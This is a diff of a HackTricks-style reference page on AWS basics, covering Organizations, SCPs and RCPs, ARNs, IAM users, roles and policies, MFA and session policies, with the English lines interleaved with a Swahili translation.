- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,331 +1,319 @@
# AWS - Basic Information
# AWS - Taarifa za Msingi
{{#include ../../../banners/hacktricks-training.md}}
## Organization Hierarchy
## Hierarchi ya Shirika
![](<../../../images/image (151).png>)
### Accounts
### Akaunti
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
Katika AWS, kuna **akaunti ya mzizi**, ambayo ni **chombo mama kwa akaunti zote** za **shirika lako**. Hata hivyo, huwezi kutumia akaunti hiyo kupeleka rasilimali, unaweza kuunda **akaunti nyingine ili kutenganisha miundombinu tofauti za AWS** kati yao.
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
Hii ni ya kuvutia kutoka kwa mtazamo wa **usalama**, kwani **akaunti moja haitakuwa na uwezo wa kufikia rasilimali kutoka akaunti nyingine** (isipokuwa madaraja yameundwa mahsusi), hivyo kwa njia hii unaweza kuunda mipaka kati ya uanzishaji.
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
Kwa hivyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia kuhusu akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama.
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
- **Akaunti ya usimamizi (akaunti ya mzizi)** ni akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo:
- Create accounts in the organization
- Invite other existing accounts to the organization
- Remove accounts from the organization
- Manage invitations
- Apply policies to entities (roots, OUs, or accounts) within the organization
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- It's possible to login as the root user using the email and password used to create this root account/organization.
- Kuunda akaunti katika shirika
- Kualika akaunti nyingine zilizopo katika shirika
- Kuondoa akaunti kutoka shirika
- Kudhibiti mialiko
- Kutumia sera kwa vitu (mizizi, OUs, au akaunti) ndani ya shirika
- Kuwezesha ujumuishaji na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika.
- Inawezekana kuingia kama mtumiaji mzizi kwa kutumia barua pepe na nenosiri vilivyotumika kuunda akaunti hii ya mzizi/shirika.
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
Akaunti ya usimamizi ina **majukumu ya akaunti ya malipo** na inawajibika kulipa ada zote zinazokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika.
- **Akaunti za wanachama** zinaunda akaunti zote nyingine katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee.
- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hawawezi kudhibiti bili (lakini wanaweza kupewa ufikiaji wa hiyo).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Vitengo vya Shirika**
### **Organization Units**
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
Accounts zinaweza kuunganishwa katika **Vitengo vya Shirika (OU)**. Kwa njia hii, unaweza kuunda **sera** za Vitengo vya Shirika ambazo zitakuwa **zinatumika kwa akaunti zote za watoto**. Kumbuka kwamba OU inaweza kuwa na OUs zingine kama watoto.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
A **service control policy (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa hazitoi **ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP kwa mzizi wa shirika lako au OU, **SCP inakandamiza ruhusa za viumbe katika akaunti za wanachama**.
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya jambo fulani. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\
Njia pekee ya kupita hii ni kuathiri pia **akaunti ya mkuu** inayoweka SCPs (akaunti ya mkuu haiwezi kuzuiwa).
> [!WARNING]
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
> Kumbuka kwamba **SCPs zinakandamiza tu wakuu katika akaunti**, hivyo akaunti nyingine hazihusiki. Hii inamaanisha kuwa kuwa na SCP inayokataza `s3:GetObject` haitazuia watu **kupata akiba ya S3 ya umma** katika akaunti yako.
SCP examples:
Mifano ya SCP:
- Deny the root account entirely
- Only allow specific regions
- Only allow white-listed services
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
- Kataza akaunti ya mzizi kabisa
- Ruhusu tu maeneo maalum
- Ruhusu tu huduma zilizoorodheshwa
- Kataza GuardDuty, CloudTrail, na S3 Public Block Access kutoka
being disabled
kuondolewa
- Deny security/incident response roles from being deleted or
- Kataza majukumu ya usalama/mjibu wa tukio kuondolewa au
modified.
kubadilishwa.
- Deny backups from being deleted.
- Deny creating IAM users and access keys
- Kataza nakala za akiba kuondolewa.
- Kataza kuunda watumiaji wa IAM na funguo za ufikiaji
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
Pata **mifano ya JSON** katika [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### Resource Control Policy (RCP)
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **dont grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
A **resource control policy (RCP)** ni sera inayobainisha **ruhusa za juu zaidi kwa rasilimali ndani ya shirika lako la AWS**. RCPs ni sawa na sera za IAM katika sarufi lakini **hazitoi ruhusa**—zinakataza tu ruhusa ambazo zinaweza kutumika kwa rasilimali na sera nyingine. Unapounganisha RCP kwa mzizi wa shirika lako, kitengo cha shirika (OU), au akaunti, RCP inakandamiza ruhusa za rasilimali katika rasilimali zote katika upeo ulioathiriwa.
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organizations management account.
Hii ndiyo NJIA PEKEE ya kuhakikisha kwamba **rasilimali hazizidi viwango vya ufikiaji vilivyowekwa**—hata kama sera inayotegemea utambulisho au rasilimali ni ya kupitiliza. Njia pekee ya kupita mipaka hii ni pia kubadilisha RCP iliyowekwa na akaunti ya usimamizi wa shirika lako.
> [!WARNING]
> RCPs only restrict the permissions that resources can have. They dont directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the buckets permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
> RCPs zinakandamiza tu ruhusa ambazo rasilimali zinaweza kuwa nazo. Hazidhibiti moja kwa moja kile wakuu wanaweza kufanya. Kwa mfano, ikiwa RCP inakataza ufikiaji wa nje kwa akiba ya S3, inahakikisha kwamba ruhusa za akiba haziruhusu vitendo zaidi ya mipaka iliyowekwa—hata kama sera inayotegemea rasilimali imewekwa vibaya.
RCP examples:
Mifano ya RCP:
- Restrict S3 buckets so they can only be accessed by principals within your organization
- Limit KMS key usage to only allow operations from trusted organizational accounts
- Cap permissions on SQS queues to prevent unauthorized modifications
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
- Kandamiza akiba za S3 ili ziweze kufikiwa tu na wakuu ndani ya shirika lako
- Punguza matumizi ya funguo za KMS ili ruhusu tu operesheni kutoka akaunti za shirika zinazotegemewa
- Punguza ruhusa kwenye foleni za SQS ili kuzuia mabadiliko yasiyoidhinishwa
- Lazimisha mipaka ya ufikiaji kwenye siri za Meneja wa Siri ili kulinda data nyeti
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
Pata mifano katika [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
### ARN
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
**Amazon Resource Name** ni **jina la kipekee** kila rasilimali ndani ya AWS ina, linaundwa kama ifuatavyo:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
Note that there are 4 partitions in AWS but only 3 ways to call them:
Kumbuka kwamba kuna sehemu 4 katika AWS lakini njia 3 tu za kuziita:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
## IAM - Identity and Access Management
## IAM - Usimamizi wa Utambulisho na Ufikiaji
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
IAM ni huduma itakayokuruhusu kusimamia **Uthibitishaji**, **Idhini** na **Udhibiti wa Ufikiaji** ndani ya akaunti yako ya AWS.
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
- **Access Control** - The method and process of how access is granted to a secure resource
- **Uthibitishaji** - Mchakato wa kufafanua utambulisho na uthibitisho wa utambulisho huo. Mchakato huu unaweza kugawanywa katika: Utambulisho na uthibitisho.
- **Idhini** - Inaamua ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa.
- **Udhibiti wa Ufikiaji** - Njia na mchakato wa jinsi ufikiaji unavyotolewa kwa rasilimali salama.
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
IAM inaweza kufafanuliwa kwa uwezo wake wa kusimamia, kudhibiti na kuongoza mitambo ya uthibitishaji, idhini na udhibiti wa ufikiaji wa utambulisho kwa rasilimali zako ndani ya akaunti yako ya AWS.
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
### [Mtumiaji wa mizizi ya akaunti ya AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
Unapounda akaunti ya Amazon Web Services (AWS) kwa mara ya kwanza, unaanza na utambulisho mmoja wa kuingia ambao una **ufikiaji kamili kwa wote** huduma na rasilimali za AWS katika akaunti hiyo. Huu ni mtumiaji wa _**mizizi ya akaunti ya AWS**_ na unafikiwa kwa kuingia kwa kutumia **anwani ya barua pepe na nenosiri ulilotumia kuunda akaunti**.
Note that a new **admin user** will have **less permissions that the root user**.
Kumbuka kwamba mtumiaji mpya wa **admin** atakuwa na **idhini ndogo kuliko mtumiaji wa mizizi**.
From a security point of view, it's recommended to create other users and avoid using this one.
Kutoka kwa mtazamo wa usalama, inapendekezwa kuunda watumiaji wengine na kuepuka kutumia huu.
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
### [Watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
Mtumiaji wa IAM ni kiumbe unachounda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na ithibitisho (nenosiri na funguo za ufikiaji hadi mbili).
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
Unapounda mtumiaji wa IAM, unampa **idhini** kwa kumfanya kuwa **mwanachama wa kundi la watumiaji** ambalo lina sera za idhini zinazofaa (inapendekezwa), au kwa **kuambatisha sera moja kwa moja** kwa mtumiaji.
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Token za API za watumiaji walioanzisha MFA hazilindwi na MFA. Ikiwa unataka **kudhibiti ufikiaji wa funguo za API za watumiaji kwa kutumia MFA** unahitaji kuashiria katika sera kwamba ili kutekeleza vitendo fulani MFA inahitaji kuwepo (mfano [**hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
- **Kitambulisho cha Funguo za Ufikiaji**: herufi 20 za bahati nasibu za alphanumeric kubwa kama AKHDNAPO86BSHKDIRYT
- **Kitambulisho cha funguo za siri za ufikiaji**: herufi 40 za bahati nasibu za kubwa na ndogo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Haiwezekani kurejesha kitambulisho cha funguo za siri zilizopotea).
Whenever you need to **change the Access Key** this is the process you should follow:\
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
Wakati wowote unahitaji **kubadilisha Funguo za Ufikiaji** huu ndio mchakato unapaswa kufuata:\
_Unda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ya awali kama isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_
### MFA - Multi Factor Authentication
### MFA - Uthibitishaji wa Vigezo Vingi
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
Inatumika kuunda **kipengele cha ziada kwa uthibitishaji** pamoja na mbinu zako zilizopo, kama vile nenosiri, hivyo, kuunda kiwango cha uthibitishaji wa vigezo vingi.\
Unaweza kutumia **programu ya bure ya mtandaoni au kifaa halisi**. Unaweza kutumia programu kama uthibitishaji wa google bure kuanzisha MFA katika AWS.
Policies with MFA conditions can be attached to the following:
Sera zenye masharti ya MFA zinaweza kuambatishwa kwa yafuatayo:
- An IAM user or group
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
- The trust policy of an IAM role that can be assumed by a user
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
Note that **`AssumeRole` credentials don't contain this information**.
- Mtumiaji wa IAM au kundi
- Rasilimali kama vile kikasha cha Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS
- Sera ya kuaminika ya jukumu la IAM ambalo linaweza kuchukuliwa na mtumiaji
Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hii itakupa token yenye taarifa kuhusu MFA.\
Kumbuka kwamba **`AssumeRole` ithibitisho haina taarifa hii**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
Kama [**ilivyosemwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), kuna kesi nyingi tofauti ambapo **MFA haiwezi kutumika**.
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
### [Makundi ya watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
Kundi la [mtumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ni njia ya **kuunganisha sera kwa watumiaji wengi** kwa wakati mmoja, ambayo inaweza kurahisisha usimamizi wa ruhusa za watumiaji hao. **Majukumu na makundi hayawezi kuwa sehemu ya kundi**.
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
Unaweza kuunganisha **sera inayotegemea utambulisho kwa kundi la mtumiaji** ili watumiaji wote katika kundi la mtumiaji **wapate ruhusa za sera**. Huwezi **kutambua kundi la mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu makundi yanahusiana na ruhusa, si uthibitisho, na wakuu ni viumbe vya IAM vilivyothibitishwa.
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
Hapa kuna sifa muhimu za makundi ya watumiaji:
Here are some important characteristics of user groups:
- Kundi la mtumiaji **linaweza kuwa na watumiaji wengi**, na **mtumiaji** anaweza **kuwa sehemu ya makundi mengi**.
- **Makundi ya watumiaji hayawezi kuwekwa ndani**; yanaweza kuwa na watumiaji tu, si makundi mengine ya watumiaji.
- Hakuna **kundi la mtumiaji la default ambalo linajumuisha watumiaji wote katika akaunti ya AWS**. Ikiwa unataka kuwa na kundi la mtumiaji kama hilo, lazima ulunde na kupewa kila mtumiaji mpya.
- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama vile idadi ya makundi, na idadi ya makundi ambayo mtumiaji anaweza kuwa mwanachama, zimepangwa. Kwa maelezo zaidi, angalia [IAM na AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
- **User groups can't be nested**; they can contain only users, not other user groups.
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Majukumu ya IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotaja kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. Mtumiaji wa **IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayeingia kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM.
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
Jukumu la IAM linajumuisha **aina mbili za sera**: Sera ya **kuaminiana**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na sera ya **ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini kinaweza kufikiwa**.
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
#### Huduma ya Usalama ya Tokeni ya AWS (STS)
#### AWS Security Token Service (STS)
Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda mfupi, zenye ruhusa zilizopunguzwa**. Imeandaliwa mahsusi kwa:
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
### [Akreditif za muda mfupi katika IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**Akreditif za muda mfupi zinatumika hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda mfupi ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda mfupi ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali.
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
### Sera
### Policies
#### Ruhusa za Sera
#### Policy Permissions
Zinatumiwa kutoa ruhusa. Kuna aina 2:
Are used to assign permissions. There are 2 types:
- AWS managed policies (preconfigured by AWS)
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
- Sera zinazodhibitiwa na AWS (zilizopangwa na AWS)
- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako mwenyewe), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako mwenyewe.
Kwa **default ufikiaji** unakataliwa, ufikiaji utawekwa ikiwa jukumu maalum limeainishwa.\
Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambazo zinaruhusiwa kwa default).
```javascript
{
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
}
```
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline Policies
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
Aina hii ya sera ni **zinazopewa moja kwa moja** kwa mtumiaji, kundi au jukumu. Hivyo, hazionekani katika orodha ya Sera kama wengine wanaweza kuzitumia.\
Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moja kati ya sera na kitambulisho** ambacho inatumika. Kwa mfano, unataka kuwa na uhakika kwamba ruhusa katika sera hazitapewa kwa bahati mbaya kwa kitambulisho kingine isipokuwa kile ambacho zimekusudiwa. Unapoitumia sera ya ndani, ruhusa katika sera haiwezi kuunganishwa kwa bahati mbaya na kitambulisho kibaya. Zaidi ya hayo, unapoitumia AWS Management Console kufuta kitambulisho hicho, sera zilizojumuishwa katika kitambulisho pia zitatolewa. Hiyo ni kwa sababu ni sehemu ya chombo kikuu.
#### Resource Bucket Policies
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Si rasilimali zote za AWS zinazozisadia**.
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
Ikiwa chombo hakina kukataa wazi juu yao, na sera ya rasilimali inawapa ufikiaji, basi wanaruhusiwa.
### IAM Boundaries
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
Mipaka ya IAM inaweza kutumika **kudhibiti ruhusa ambazo mtumiaji au jukumu linapaswa kuwa na ufikiaji**. Kwa njia hii, hata kama seti tofauti za ruhusa zinatolewa kwa mtumiaji na **sera tofauti**, operesheni itashindwa ikiwa atajaribu kuzitumia.
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
Mpaka ni sera tu iliyounganishwa na mtumiaji ambayo **inaonyesha kiwango cha juu cha ruhusa ambacho mtumiaji au jukumu linaweza kuwa nacho**. Hivyo, **hata kama mtumiaji ana ufikiaji wa Msimamizi**, ikiwa mpaka inaonyesha anaweza kusoma tu S· mabakuli, hiyo ndiyo kiwango cha juu anachoweza kufanya.
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
**Hii**, **SCPs** na **kufuata kanuni ya ruhusa ndogo** ndiyo njia za kudhibiti kwamba watumiaji hawana ruhusa zaidi ya zile anazohitaji.
### Session Policies
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **mpaka wa IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoainishwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina).
Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa na jukumu lenye mamlaka makubwa anaweza kuzuia ruhusa kuwa zile tu zilizoainishwa katika sera ya kikao endapo kikao kitaharibiwa.
```bash
